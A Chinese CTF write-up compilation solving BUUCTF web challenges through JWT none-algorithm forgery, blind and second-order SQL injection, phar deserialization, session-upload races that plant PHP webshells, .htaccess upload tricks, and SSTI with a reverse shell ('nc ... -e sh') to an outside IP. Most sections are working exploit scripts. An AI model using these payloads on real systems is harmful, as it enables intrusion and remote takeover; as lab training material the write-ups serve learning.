const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

利用方式:

利用nodejs的jwt缺陷,当jwt的secret为空,jwt会采用algorithm为none进行解密。
js是弱语言类型,我们可以将secretid设置为一个小数或空数组(空数组与数字比较时为0)来绕过secretid的一个验证(不能为null&undefined).

1
2
3
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

我们可以把刚刚抓包的token去解密一下:
image.png
然后我们就来伪造一下jwt:
python安装一下jwt库:pip install pyjwt

1
2
3
4
5
6
7
8
9
10
11
12
import jwt

payload = {
"secretid": 0.1,
"username": "admin",
"password": "123",
"iat": 1587287370
}

myToken = jwt.encode(payload, algorithm="none", key="")
print(myToken)

image.png
我们用这个token去登录admin
image.png
返回了我们true,说明成功了,我们拿返回的sess:aok和sess:aok:sig去登录:
image.png
更换一下cookie就上去了,然后点getflag抓包:
image.png
总感觉jwt还是少了点知识,之后去补补,还是想先学会儿开发

[b01lers2020]Welcome to Earth

考点:前端JS
image.png
进去一张图,之后就立马跳转到:
image.png
看看源代码:
image.png
一路锁头进入chase
image.png
进入leftt:
image.png
进入shoot:
image.png
进入door:
image.png
最后是有一个js代码:
image.png
进入open:
image.png
进入fight:
image.png
image.png
审计一下就是让我们排列组合一下,找到正确flag,写个脚本:

1
2
3
4
5
6
7
from itertools import permutations
LIST=["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];
Alllist=permutations(LIST)
for item in Alllist:
item="".join(item)
if item.startswith('pctf{hey_boys') and item[-1]=="}":
print(item)

image.png
flag肯定是pctf{hey_boys_im_baaaaaaaaaack!}

[GYCTF2020]Ezsqli

考点:SQL注入ASCII位偏移
首先来看一个例子,来看看这题的思路,实验表如下:
image.png
我们运行select (select 1, 'k')<(select * from tb1 limit 1);
image.png
输入select (select 1, 'l')<(select * from tb1 limit 1);
image.png
我们可以看到name第一个字段是kino,首字母是k,当我们自定义的字母小于或等于的时候,返回1,大于的时候返回0
但是select (select 1, 'k')>(select * from tb1 limit 1);
image.png
这样就是0,这就是个小bug需要注意一下,这也是第一个踩的坑
假如第一个字母都想同,就会比较第二个字母的大小:
image.png

接下来以这个思路来写个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
url = "http://857df83b-fba2-469b-9cc9-063d3ee8eea7.node4.buuoj.cn:81/index.php"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
# sleep(0.3)
mid = (head + tail) >> 1
data = {
# "id":f"if(ascii(substr((),{i},1))>{mid},1,0)"}
"id": f"if((select 1,'{result+chr(mid)}')<(select * from f1ag_1s_h3r3_hhhhh),1,0)"}
# t1=time.time()
r = requests.post(url,data=data)
# print(r.text)
print(data["id"])
# print(r.text)
# t2=time.time()
# print(t2-t1)
if "Nu1L" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head-1)
else:
break
print(result.lower())

image.png
最后flag没有另一半括号的原因:
调试的时候发现payload有这一步:
image.png
image.png
到这一步又返回0,这个BUG我是真的不太懂了,太奇怪了,最后flag要转小写,否则无法提交

[网鼎杯 2018]Comment

考点:GIt泄露,GIt恢复,SQL二次注入
image.png
进入界面是一个留言板系统,随便点一下发现,发帖你首先得登录:
image.png
提示了账号,密码后三位爆破:
image.png
得到账号密码,就可以成功发帖,image.png
我一开始看到留言板就大脑不正常的以为是XSS,X了好一会儿发现好像思路本身就错了,然后杀意感知触发,觉得肯定有其他文件没找着,扫了一会儿发现有git文件,用githacker下载:
出来了一个write_do文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}

发现缺胳膊少腿,这里就有个之前没接触过的知识点,就是去恢复git,在linux的githacker扫描结果目录输入:
我们可以通过使用 git reflog 命令,就可查看到所有历史版本信息。
git log --reflog:
image.png
应该是要我们恢复到第一个e5b2开头的:
git reset --hard e5b2a2443c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

得到了完整的源码,接下来就是白盒测试了
这边存在一个SQL二次注入,我们来思考一下,如果我们在第一个board界面:
image.png
也就是发帖界面的catagory里输入',content=database(),/*,然后进入详细界面,再在留言里写*/#,那么最后我们的sql执行语句就是

1
2
3
4
$sql = "insert into comment
set category = '',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";

/**/是多行注释,然后#是单行注释,这样就闭合了我们的语句:
image.png
可以看到库名为ctf
这里大家可能还有个疑惑点,就是addslashes函数不是转义了单引号吗?
所以才说是二次注入呀,第一次我们输入的catagory的单引号的确被转义了,但是储存到数据库里面是,它还是变成了单引号,之后我们在留言的时候又调用了一次catagory,这样就二次注入了
最后也是爆了库,表,列,都没flag,看了看wp,又是一个不知道的知识点
首先load_file这个是我知道的,也尝试过读取,也可以读取:
image.png
但是之后我就不知道flag在那里了,wp里提到了新的知识点:
每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。
',content=load_file('/home/www/.bash_history'),/*,然后留言同样是*/#
image.png
管理者之前把html.zip解压了,然后移到了www目录下面,最后删除了zip文件,也删除了www/html目录下的.DS_Store文件,但是他没删掉tmp目录下的html文件夹,我们尝试读取
/tmp/html/.DS_Store:
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。
', content=((load_file('/tmp/html/.DS_Store'))),/*:
image.png
文件内容太大了,导致加载不出来,转为hex:
', content=(hex(load_file('/tmp/html/.DS_Store'))),/*
image.png
解码:
image.png
看到了flag文件flag_8946e1ff1ee3e40f.php,上面也说过DS_Store文件可以显示当前目录的所有文件清单,他在/var/www/html删除了,所以flag的位置为/var/www/html/flag_8946e1ff1ee3e40f.php
读取
',content=load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'),/*
image.png
受益匪浅

[SWPUCTF 2018]SimplePHP

考点:phar反序列化,代码审计

查看文件处存在任意文件读取:

1
2
3
4
<?php 
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>

</script>
</body>
</html>

仔细分析一波class.php很容易发现pop链
C1e4r::_destruct->Show::__tostring->Test::__get,pop链如上,构造如下:
这边构造pop链需要注意一下,get魔术方法得到的是属性名source,而不是source对应的值,也就是param[‘source’]的值,在这一步由于有点忘记导致我搞混了,切记切记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class C1e4r
{
public $test;
public $str;
public function __construct()
{
$this->str = new Show();
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
$this->source; //$this->source = phar://phar.jpg
$this->str['str']=new Test();
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params['source'] ='/var/www/html/f1ag.php';
}
}
$test = new C1e4r();
echo serialize($test);
/* 文件名 */
$phar = new phar("Boogipop.phar"); //文件名
$phar->startBuffering();
/* 设置stub,必须要以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("<?php __HALT_COMPILER(); ?>");
/* 设置自定义的metadata,序列化存储,解析时会被反序列化 */
$phar->setMetaData($test);
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt","test1");
$phar->addFromString("test2.txt","test2");
$phar->stopBuffering();

?>

最后再file.php输入:?file=phar://upload/0697219c808af1516b30672479cbaae7.jpg,文件名直接在upload文件夹找:
image.png
得解

[NCTF2019]SQLi

考点:SQL注入,%00截断,regexp
image.png
查询语句啥的都告诉你了,fuzz了一遍:
image.png
能用的东西少得可怜,or,and,单引号,#,-全没了,其实除了单引号其他的都无所谓,但是单引号没了就很难受了啊,or没了可以用||绕过,然后注释符也没了,想不出的我就去看了下wp
首先他有个robots.txt:
image.png
这个给不给说实话无所谓,然后wp里用的骚方法是%00截断;%00:

%00注释
符号并非MySQL的注释符,但PHP具有%00截断的漏洞,有些函数会把%00当做结束符,也就起到了注释掉后面代码的作用。 (比如文件上传中的00截断漏洞)另外在Python脚本中的使用:Python访问浏览器,会进行一次URL编码, 因此参数中的URL编码在服务端并不会解码,#等可打印字符直接在参数中输入字符即可,但不可打印字符如%00就需要进行格式处理。

比如我输入username=\,password=||1'%00,在burp里输入,在登录框输入%00不会识别:
image.png
成功之后会有302跳转,这边就可以进行一个regexp盲注,脚本我就放出来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#author:Boogipop
import requests
import string
from urllib import parse
from time import sleep
dict=string.ascii_lowercase+string.digits+"_{}"
url="http://f03556c3-0292-463f-9c11-4e4dcdf7a8d5.node4.buuoj.cn:81/index.php"
result="you_will_never_know7788990"
for i in range(50):
for j in dict:
data={
"username":"\\",
"passwd":f"||passwd/**/regexp/**/\"^{result+j}\"/**/;{parse.unquote('%00')}"
}
r=requests.post(url=url,data=data)
# sleep(0.1)
if "welcome" in r.text:
result+=j
print(result)
break

之后跑出密码是you_will_never_know7788990
最后由于admin被ban了,加密为hex之后绕过
image.png
DOne

[RootersCTF2019]I_<3_Flask

考点:SSTI低水平题
没啥好说的
image.png
难点就在猜那个传参点

[NPUCTF2020]ezinclude

考点:缓存文件包含或条件竞争
image.png
源代码内发现了可疑的地方,抓个包:
image.png
发现返还个hash,说不定是密码输入试试:
image.png
跳转到了这里,我们访问一下看看:
image.png
看到了个include文件包含,我的第一反应是条件竞争:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#Author:Boogipop
import requests
import io
import threading
url='http://2858ca7f-3f90-4f39-a74f-fd80992d2576.node4.buuoj.cn:81/' #引入url
sessionid='ctfshow' #PHPSESSID的值
data={
"1":"file_put_contents('/var/www/html/3.php','<?php eval($_POST[2]);?>');" #将木马写入1.php
}
def write(session):
fileBytes=io.BytesIO(b'a'*1024*50) #上传一个50k的文件
while True:
r=requests.get(url=url)
# print(r.cookies)
response=requests.post(url+"flflflflag.php",data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>' #将这段代码写入session文件中
},
cookies={
'PHPSESSID':sessionid #同上,PHPSESSID的值
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
def read(session):
while True:
requests.get(url=url)
response=session.post(url+'flflflflag.php?file=/tmp/sess_'+sessionid,data=data,cookies={
'PHPSESSID':sessionid #包含session文件让第一个eval执行,然后执行第二个eval
})
response2=session.get(url+'3.php') #获得回显
if response2.status_code==200:
print('++++++perfect+++++')
else:
print(response2.status_code)
if __name__=='__main__':
evnet=threading.Event() #开启线程
with requests.session() as session: #多线程操作
for i in range(10):
threading.Thread(target=write,args=(session,)).start()
for i in range(10):
threading.Thread(target=read, args=(session,)).start()
evnet.set() #将信号标志设置为True,并唤醒所有处于等待状态的线程。

最后把shell写入,在phpinfo可以发现flag,当时我还在想ban了什么system要绕过disabled_function,虽然用UAF确实可以绕过

然后网上搜了下WP发现了一个新的方法:
php7.0的bug:
?file=php://filter/string.strip_tags/resource=/etc/passwd
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。
该方法仅适用于以下php7版本,php5并不存在该崩溃。

1
2
3
4
5
• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
##BytesIO实现了在内存中读写bytes
from io import BytesIO
import re
payload = "<?php eval($_POST[shaw]);?>"
#BytesIO(payload.encode()).getvalue()
data={
'file': BytesIO(payload.encode())
}
url="http://c707289b-9d30-45b1-8ce7-8c5498df7acd.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=data,allow_redirects=False)
except:
print("fail!")

这样就可以去包含tmp目录下的文件,文件就是我们的一句话木马,这个思路不错,但是还有个步骤,上传文件后我们session文件的名字为sess_xxxxxxx这种格式,所以要知道她的名字,我们扫除来了个dir.php,里面的内容就是去查看我们的tmp目录下的文件名的,然后getshell!
image.png
看到了文件名就包含:
image.png
芜湖!

HarekazeCTF2019]encode_and_encode

考点:JSON的特殊绕过点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

审了一下不难发现,需要我们post传一个json格式的东西进去(要记得把type也改为json)
之后会对我们输出的json数据和json里面的page参数进行一个过滤
前两点没问题就获得文件的内容,然后再对文件内容进行一次过滤,最后对flag文件内容进行了一次替换
可以看得出来出题人不是一般人,想得到这种套娃的方式,但是看似很困难,实则考的就是一个知识点,json中的unicode编码是会被识别的,比如\u0066\u006c\u0061\u0067就是flag,这样就可以达到绕过的目的
绕过这多层判断需要结合filter协议对结果进行base64编码,绕过一下文件的内容,然后再用unicode去绕过我们的payload本身,所以最终的payload {"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
image.png

[SUCTF 2019]EasyWeb

考点:htaccess利用,异或rce,代码审计,脚本能力
考点都很容易,但是将考点一综合,恐怕就是一道很恐怖的题了,至少我是觉得这题是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

代码很少,这里给了我们一个eval函数和一个get_the_flag方法,想也不用想,是要我们用eval去调用这个方法
那我们该如果去执行命令呢,bypass了这么多字母,这里就考一个无数字字母rce,先FUZZ一下我们的可用字符:

1
2
3
4
5
6
<?php
for($i=0;$i<=256;$i++){
if(!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i',chr($i)))
{
echo chr($i)."\t";
}

得到了
image.png
! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { } 和一些不可见字符,不要觉得不可见字符没用,有用滴捏,我们写个脚本来通过一关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// $dict="! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { }";
$payload='_GET';
$res="";
for($i=0;$i<strlen($payload);$i++){
for($j=0;$j<=256;$j++){
$str=chr(246)^chr($j);
if($str==$payload[$i]){
$res.="%".dechex($j);
// echo $res;
}
}
}
echo '[*]:'.'%f6%f6%f6%f6'.'^'.$res;
?>

这个脚本是为了得到_GET字符串的,遍历一边字符,与%f6进行异或,也可以选其他不可见字符,都可以
最后得到payload:

1
?_=${%f6%f6%f6%f6^%a9%b1%b3%a2}{%f6}();&%f6=phpinfo

image.png
这里已经得到了flag,但这是buu靶场的失误,我们继续按着预期走
接下来审视一下get_the_flag方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

首先创建了一个文件夹,用我们的Ipmd5加密后来命名
之后对上传的文件进行验证,有个文件头检测,需要为图片类型,这里可以用以下方法绕过

1
2
3
4
5
GIF89a
\x00\x00\x8a\x39\x8a\x39
#define width 1337
#define height 1337
#上面2个defined是一起传的

之后再对文件内容进行判断,不能有<?这就限制了我们,这边也有2种思路,一种是短标签绕过,另一种是使用htacess+filter对解析的内容进行一次base64解码
短标签绕过就用
<script language="php">echo '123'; </script>
htaccess文件绕过:

1
2
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=xxxx.png"

我们的htaccess文件和图片木马都要记得加上个文件头来绕过哦,锻炼一下写脚本的能力,写了个py脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#Author:Boogipop
import requests
import hashlib
import base64
url="http://983cc47b-3998-4c23-b8e8-4d3e0267e2cd.node4.buuoj.cn:81/"
padding="?_=${%f6%f6%f6%f6^%a9%b1%b3%a2}{%f6}();&%f6=get_the_flag"
test_content=b'''GIF89a
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.cc"
'''
hta_content=b'''\x00\x00\x8a\x39\x8a\x39
SetHandler application/x-httpd-php
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.cc"
'''
file_content=b"GIF89a"+b"00"+base64.b64encode(b"<?php eval($_POST['pop']);?>")
hta_file=[('file',('.htaccess',hta_content,'image/png'))]
file=[('file',('1.cc',file_content,'image/png'))]
test=[('file',('test.txt',test_content,'image/png'))]
r1=requests.post(url=url+padding,files=hta_file)
r2=requests.post(url=url+padding,files=file)
r3=requests.post(url=url+padding,files=test)
print(r2.text)


image.png
访问这个文件就可以进行RCE了:
image.png
这里一方面设置了disabled_function,另一方面设置了个:
image.png
openbasedir,要绕过这两个又有2种思路
一个是使用蚁剑的插件绕过disabled_function
image.png
另一种学习一下:
?cmd=mkdir('rot');chdir('rot');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(glob('*'));
这样就可以查看根目录下的文件,最后用file_get_contents去读取
有关更多的bypass查看:
另外假如大家对我们的\x00\x00\x8a\x39\x8a\x39有兴趣,我也看了看:
image.png
我知识浅薄看不出是什么的文件头,不过应该是JPEG的?

[CISCN2019 华东南赛区]Double Secret

考点:RC4加密,SSTI注入
image.png
dirsearch开扫只找到了一个robots.txt,打开后为:
image.png
没什么几把卵用,所以我们继续分析首页的secret,经过一系列的测试发现:
image.png
猜测需要传参,参数为secret:
image.png
你每次输入不同的数字都会返回一个不同的字母或者数字,这边瞎搞搞看到了报错信息:
image.png
看到了RC4敏感字样,并且还贴心的告诉我们是解密,也就是说,网页会把我们输入的secret参数进行一次rc4解密,并且密钥已经告诉我们了就是HereIsTreasure,在网上找了个大佬的脚本,并且自己也分析了一遍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
# print("加密后的字符串是:%s" %cipher)
# print("加密后的输出(经过编码):")
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
print(quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{lipsum.__globals__.__builtins__.__import__('os').popen('nc 43.140.251.169 7777 -e sh').read()}}")

有关rc4的加密原理可以看:

然后可以看到源码中有这样一个过滤:
image.png
所以直接去cat flag是会被检测出来的,这里我使用了反弹shell,我还想得出来的方法有用base64等加密方式对其进行加密输出:
image.png
最后也是得出了flag

[网鼎杯2018]Unfinish

考点:SQL二次注入,逗号过滤
只能说不愧是网鼎杯
image.png
由于是在BUU做的题,扫目录会429,这点让我太烦了,可以扫出来有一个register.php的,虽然也可以猜出来,但是还是扫实在点啊
在register界面有个小Tips,如果我们的username符合规则就会302跳转到登录界面,如果语法有错就是原地200,如果被ban了就是200然后底部会有一个nonono!
通过这三点可以知道该用什么payload
也是经过了一系列的fuzz啊,发现ban掉了逗号,information
所以呢,该怎么写呢,这里又get到了一个新知识:
image.png
输入select ''+database()+'';返回的是0,然而输入
select ''+hex(database())+'';
image.png
这里为什么是6呢?是因为后面有字母被截断了,加号只可以数字相加嘛
假如我们输入 select ''+hex(hex(database()))+'';
image.png
双层hex加密,这样暂时来看是没问题的,但是假如我们的回显更加的长一些呢?
image.png
可以发现他变成了科学计数法,因此需要用到substr去截取这个回显:
image.png
这里又有个新tipssubstr(xxx,from x for x),由于逗号被ban了,我们可以使用substr的这个语句,information库被过滤了,所以我尝试了用mysql和sys库,但都以失败告终,这是因为这2个库是在mysql5.7后新增的,靶场的mysql版本可能是更低的
